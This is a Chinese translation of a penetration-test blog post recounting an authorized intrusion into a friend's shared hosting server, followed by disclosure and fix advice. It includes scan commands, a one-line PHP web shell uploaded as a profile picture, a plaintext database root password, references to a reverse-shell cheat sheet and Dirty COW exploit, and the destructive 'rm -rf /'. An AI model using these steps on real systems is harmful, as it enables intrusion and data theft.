如何在 7 分钟内黑掉 40 家网站?
點(diǎn)擊上方“CSDN”,選擇“置頂公眾號(hào)”
關(guān)鍵時(shí)刻,第一時(shí)間送達(dá)!
去年夏天我開始學(xué)習(xí)信息安全與黑客技術(shù)。在過去的一年中,我通過參加各種戰(zhàn)爭(zhēng)游戲、奪旗以及滲透測(cè)試模擬,不斷提高我的黑客技術(shù),還學(xué)習(xí)了很多關(guān)于“如何讓計(jì)算機(jī)偏離其預(yù)期行為”的新技術(shù)。
長(zhǎng)話短說,我的經(jīng)驗(yàn)總是局限于模擬環(huán)境,而且我認(rèn)為自己是個(gè)有道德的白帽黑客,所以我從未入侵過別人的業(yè)務(wù),一次都沒有。
直到現(xiàn)在。本文講述了我入侵一臺(tái)托管了40個(gè)網(wǎng)站(確切的數(shù)字)的服務(wù)器的故事,以及在此過程中我的發(fā)現(xiàn)。
請(qǐng)注意:本文講述的技術(shù)涉及一些計(jì)算機(jī)科學(xué)領(lǐng)域的基本知識(shí)。
一位朋友告訴我,他的網(wǎng)站中發(fā)現(xiàn)了一個(gè)XSS漏洞,他希望我能進(jìn)一步了解一下。這是個(gè)很重要的階段,因?yàn)槲視?huì)要求他授權(quán)我對(duì)他的web應(yīng)用程序進(jìn)行全面的測(cè)試,并賦予我訪問托管服務(wù)器的全部權(quán)限。結(jié)果他答應(yīng)了。
在本文中,假定我朋友的網(wǎng)站地址為:http://example.com。
第一步是收集盡可能多的敵方信息,并注意不要打草驚蛇。
在這個(gè)階段,我啟動(dòng)計(jì)時(shí)器并開始掃描。
$ nmap --top-ports 1000 -T4 -sC http://example.comNmap scan report for example.com {redacted}
Host is up (0.077s latency).
rDNS record for {redacted}: {redacted}
Not shown: 972 filtered ports
PORT ? ? ?STATE ?SERVICE
21/tcp ? ?open ? ftp
22/tcp ? ?open ? ssh
| ssh-hostkey:
| ? {redacted}
80/tcp ? ?open ? http
| http-methods:
|_ ?Potentially risky methods: TRACE
|_http-title: Victim Site
139/tcp ? open ? netbios-ssn
443/tcp ? open ? https
| http-methods:
|_ ?Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_{redacted}
445/tcp ? open ? microsoft-ds
5901/tcp ?open ? vnc-1
| vnc-info:
| ? Protocol version: 3.8
| ? Security types:
|_ ? ?VNC Authentication (2)
8080/tcp ?open ? http-proxy
|_http-title: 400 Bad Request
8081/tcp ?open ? blackice-icecap
掃描大約在2分鐘內(nèi)完成了。
這臺(tái)服務(wù)器上有很多開放的端口!通過觀察,我發(fā)現(xiàn)FTP(端口21)和SMB(端口139/445)端口是開放的,我猜服務(wù)器用這些端口托管文件和共享文件,還發(fā)現(xiàn)這是一個(gè)web服務(wù)器(端口80/443,代理在端口8080/8081)。
如果上述掃描信息不夠,我還會(huì)考慮做一次UDP端口掃描,掃描最常用的1000多個(gè)端口。現(xiàn)在我可以在無需認(rèn)證的情況下訪問的唯一端口是80/443。
抓緊時(shí)間,我啟動(dòng)了gobuster,羅列出了Web服務(wù)器上所有有趣的文件,同時(shí)我將手動(dòng)挖掘信息。
$ gobuster -u http://example.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100/admin
/login
原來/admin路徑是一個(gè)“管理工具”目錄,通過身份驗(yàn)證的用戶可以利用這些工具修改web服務(wù)器上的內(nèi)容。它需要身份驗(yàn)證,但是我既沒有用戶名,也沒有密碼,所以只能找別的方法。(劇透:gobuster沒有發(fā)現(xiàn)任何有價(jià)值的東西。)
到目前為止,我用了大約3分鐘。然而,一無所獲。
在瀏覽網(wǎng)站的時(shí)候,它要求我登錄。這沒關(guān)系,我用虛擬電子郵件創(chuàng)建了一個(gè)賬戶,然后在幾秒鐘后點(diǎn)擊確認(rèn)電子郵件并成功登錄。
網(wǎng)站顯示了歡迎信息,并彈出對(duì)話框帶我進(jìn)入個(gè)人資料頁面,要求更新我的個(gè)人資料圖片。做的很貼心啊。
看來該網(wǎng)站是定制的,所以我決定測(cè)試一下無限制上傳文件的漏洞。我在終端上運(yùn)行了如下命令:
echo " system(\$_GET['cmd']); " > exploit.php我試著上傳該“圖片”,哈哈!該網(wǎng)站接受了上傳exploit.php。當(dāng)然這個(gè)文件沒有縮略圖,但是這意味著我的文件肯定上傳到服務(wù)器的某個(gè)地方了。
獲取exploit的位置
這里,我原本以為網(wǎng)站會(huì)對(duì)上傳文件做一些處理,檢查擴(kuò)展名,并替換為可接受的文件擴(kuò)展名,比如.jpeg,.jpg,以避免攻擊者上傳惡意的遠(yuǎn)程操控代碼,希望各位看官的網(wǎng)站都做到了。
畢竟大家都很關(guān)心安全問題。
是吧?是吧?……沒錯(cuò)吧?
接下來“復(fù)制圖片的路徑”,其實(shí)就是復(fù)制如下路徑:
http://www.example.com/admin/ftp/objects/XXXXXXXXXXXX.php
看來我的網(wǎng)頁木馬程序已經(jīng)做好準(zhǔn)備且開始工作了:
我發(fā)現(xiàn)web服務(wù)器運(yùn)行的是perl腳本(真的,perl?),于是我從常用的cheatsheet(http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)中拿了一個(gè)perl語言的反向shell,設(shè)置好IP /端口,然后我得到一個(gè)低特權(quán)shell(對(duì)不起,沒有截圖)。
在第5分鐘的時(shí)候,我已經(jīng)擁有了低權(quán)限的shell。
令我驚訝的是,該服務(wù)托管的不止1個(gè)網(wǎng)站,總共有40個(gè)不同的網(wǎng)站。很遺憾我沒有保存每個(gè)細(xì)節(jié)的截圖,只有如下的輸出結(jié)果:
$ ls /var/wwwaccess.log site1/ site2/ site3/ {... 等等}
我想你也看出來了。讓人驚愕的是,我可以讀取所有托管網(wǎng)站,這意味著我可以訪問所有網(wǎng)站的后臺(tái)代碼。我原以為我只能訪問example.com的代碼。
值得注意的是,在cgi-admin / pages目錄中,所有的perl腳本都以root身份連接到了mysql數(shù)據(jù)庫。而數(shù)據(jù)庫的身份驗(yàn)證是以明文保存的,就像這樣:root:pwned42。
果然,服務(wù)器上運(yùn)行的是MariaDB,在訪問數(shù)據(jù)庫之前我不得不借助于這個(gè)問題(https://github.com/dockerfile/mariadb/issues/3)。之后我運(yùn)行了如下命令:
mysql -u root -p -h localhost victimdbnamePassword: pwned42
用root權(quán)限登錄數(shù)據(jù)庫后的截圖如下:
“使用數(shù)據(jù)庫用戶”,我可以訪問35個(gè)數(shù)據(jù)庫并可以查看/修改數(shù)據(jù)庫內(nèi)容
僅用了7分鐘,我就擁有了讀寫35(!)個(gè)數(shù)據(jù)庫的全部權(quán)限。
到了這里,從道德上講我必須停止此次黑客行動(dòng),并揭露迄今為止的發(fā)現(xiàn)。這些潛在的危害已經(jīng)十分驚人了。
攻擊者將如何處置這些數(shù)據(jù):
轉(zhuǎn)儲(chǔ)所有數(shù)據(jù)庫的內(nèi)容,導(dǎo)致所有35家公司的數(shù)據(jù)集體曝光。按照這種方式(https://stackoverflow.com/questions/9497869/export-and-import-all-mysql-databases-at-one-time)。
刪除所有的數(shù)據(jù)庫,一次性刪掉35家公司的所有數(shù)據(jù)。
利用cronjob留后門,方便日后通過apache再次造訪。按照這種方式(http://blog.tobiasforkel.de/en/2015/03/19/setup-cron-job-for-apache-user/)。
我應(yīng)該注意到,在這里mysql進(jìn)程是以root身份運(yùn)行的,所以如果我嘗試運(yùn)行\(zhòng)! whoami,也許可以獲得root的身份。不幸的是我仍然是apache。
好了,休息一下,計(jì)時(shí)結(jié)束。
還有什么更大的問題?
在揭露了我的發(fā)現(xiàn)后,我獲得了更多權(quán)限,可以進(jìn)行更進(jìn)一步的挖掘。
在尋找方法可以將我的權(quán)限升級(jí)到root以制造巨大危害的可能性之前,我一直在研究我受限的用戶還可以查閱些哪些其他有趣的文件。
就在那時(shí),我想起了開放的SMB端口。這意味著某個(gè)地方的某個(gè)文件夾應(yīng)該是對(duì)系統(tǒng)用戶共享的。經(jīng)過一番篩查后,下面的目錄出現(xiàn)在了/ home / samba / secured目錄中(請(qǐng)?jiān)徫业呐繉彶?#xff09;:
這些目錄保存了托管公司每個(gè)用戶的文件。其中包括一些敏感數(shù)據(jù),比如:
.psd / .ai文件(設(shè)計(jì)師知道私密的重要性,畢竟這是他們的工作和技術(shù))
Cookie sqlite文件
發(fā)票
盜版電子書(看到這些時(shí)我不禁笑了)
WiFi的SSID和密碼
攻擊者將如何處置這些數(shù)據(jù):
住在公司外面,登錄到他們的內(nèi)部網(wǎng),并進(jìn)行各種可以在本地網(wǎng)絡(luò)上操作的有趣的攻擊;
將上面列出的所有敏感數(shù)據(jù)公開到網(wǎng)絡(luò)上。
花些時(shí)間瀏覽這些文件夾,你就會(huì)認(rèn)識(shí)到這個(gè)問題有多嚴(yán)重。再休息一下。
最后一擊
通過apache四處尋找了一會(huì)兒后,我決定去釣大魚——拿到root用戶。我喜歡利用cheatsheet(https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/),搜尋有趣的文件系統(tǒng)。
到目前為止我的搜尋已經(jīng)用完了大部分的技術(shù),但是卻似乎無法找到突破點(diǎn)。
就在此時(shí),我突然想到,在以前玩“奪旗”的挑戰(zhàn)中,操作系統(tǒng)通常會(huì)做一些改動(dòng),故意制造一些錯(cuò)誤的配置服務(wù),最終為你提供所需的root權(quán)限。然而在現(xiàn)實(shí)世界中,人們可不會(huì)這么做。
我的意思是,看看Equifax。
服務(wù)器運(yùn)行的是哪個(gè)Linux?
$ cat /etc/issueCentOS Linux release 7.2.1511 (Core)
Kernel是什么版本?
這個(gè)看似是個(gè)舊版的Kernel。
看到此圖你能想起什么?(提示:這個(gè)問題非常非常嚴(yán)重)
如果沒有,請(qǐng)點(diǎn)擊這里:
https://www.theguardian.com/technology/2016/oct/21/dirty-cow-linux-vulnerability-found-after-nine-years
我在這篇博文中找到了我所需要的測(cè)試Kernel是否脆弱的腳本:
http://davemacaulay.com/easily-test-dirty-cow-cve-2016-5195-vulnerability/
然后運(yùn)行:
游戲結(jié)束!
我馬上寫了一封郵件,充分披露了上述每一步的細(xì)節(jié)以及潛在影響,一晚上的工作結(jié)束了,可以松口氣了。
攻擊者可以做什么:
讀取/修改服務(wù)器上所有的文件;
留下一個(gè)永久的后門(通過apache);
安裝惡意軟件,并很有可能傳播到服務(wù)器的內(nèi)部網(wǎng);
安裝勒索軟件(以35家公司的數(shù)據(jù)庫為例,所有托管公司的數(shù)據(jù)都被視為人質(zhì));
使用服務(wù)器作為加密貨幣礦工;
使用服務(wù)器作為代理;
將該服務(wù)器用作C2C服務(wù)器;
將服務(wù)器用作僵尸網(wǎng)絡(luò)的一部分;
.……(你可以自己想象);
rm -rf /(絕對(duì)不是在開玩笑)。
第二天,我的朋友(他與運(yùn)營(yíng)服務(wù)器的公司取得了聯(lián)系)告訴我,文件上傳中的bug已得到修復(fù)。
總結(jié)一下我們的發(fā)現(xiàn):
Web應(yīng)用程序存在無限制文件上傳的漏洞,這將賦予攻擊者低權(quán)限的shell;
MySQL數(shù)據(jù)庫的身份認(rèn)證漏洞,這將賦予攻擊者讀寫35個(gè)數(shù)據(jù)庫;
許多可讀的敏感文件。
最后,攻擊者可以濫用未打補(bǔ)丁的內(nèi)核來獲取root訪問權(quán)限。
改良措施
首先文件上傳的bug給了我們下手的機(jī)會(huì)。由于整個(gè)Web應(yīng)用程序的后端都是用perl編寫的(而我不會(huì)perl),所以我無法真正提出修復(fù)方案。
但是我可以建議一點(diǎn):不要是使用2017版的perl,但這只是我的看法,大家可以隨時(shí)證明我錯(cuò)了。
關(guān)于文件系統(tǒng),我建議參考最小權(quán)限原則,謹(jǐn)慎地為用戶分配恰當(dāng)?shù)奈募?quán)限。這樣一來,即使像apache這樣低特權(quán)用戶可以訪問,他們也無法讀取任何敏感文件。
在同一臺(tái)服務(wù)器上運(yùn)行所有網(wǎng)站不是明智之舉,我不確定docker化的方案是否可以解決這個(gè)問題。
所有數(shù)據(jù)庫擁有相同的身份認(rèn)證肯定是個(gè)很糟的主意。
單點(diǎn)故障通常不好。
最后,打補(bǔ)丁!實(shí)際上只需運(yùn)行一個(gè)命令:su -c'yum update'(特定于CentOS)。
原文:https://hackernoon.com/how-i-hacked-40-websites-in-7-minutes-5b4c28bc8824
譯者:彎月,編輯:言則
————— 推薦閱讀 —————
點(diǎn)擊圖片即可閱讀
總結(jié)
以上是生活随笔為你收集整理的如何在 7 分钟内黑掉 40 家网站?的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【数据结构与算法】- 排序(算法)
- 下一篇: Modem相关知识__2019.12.0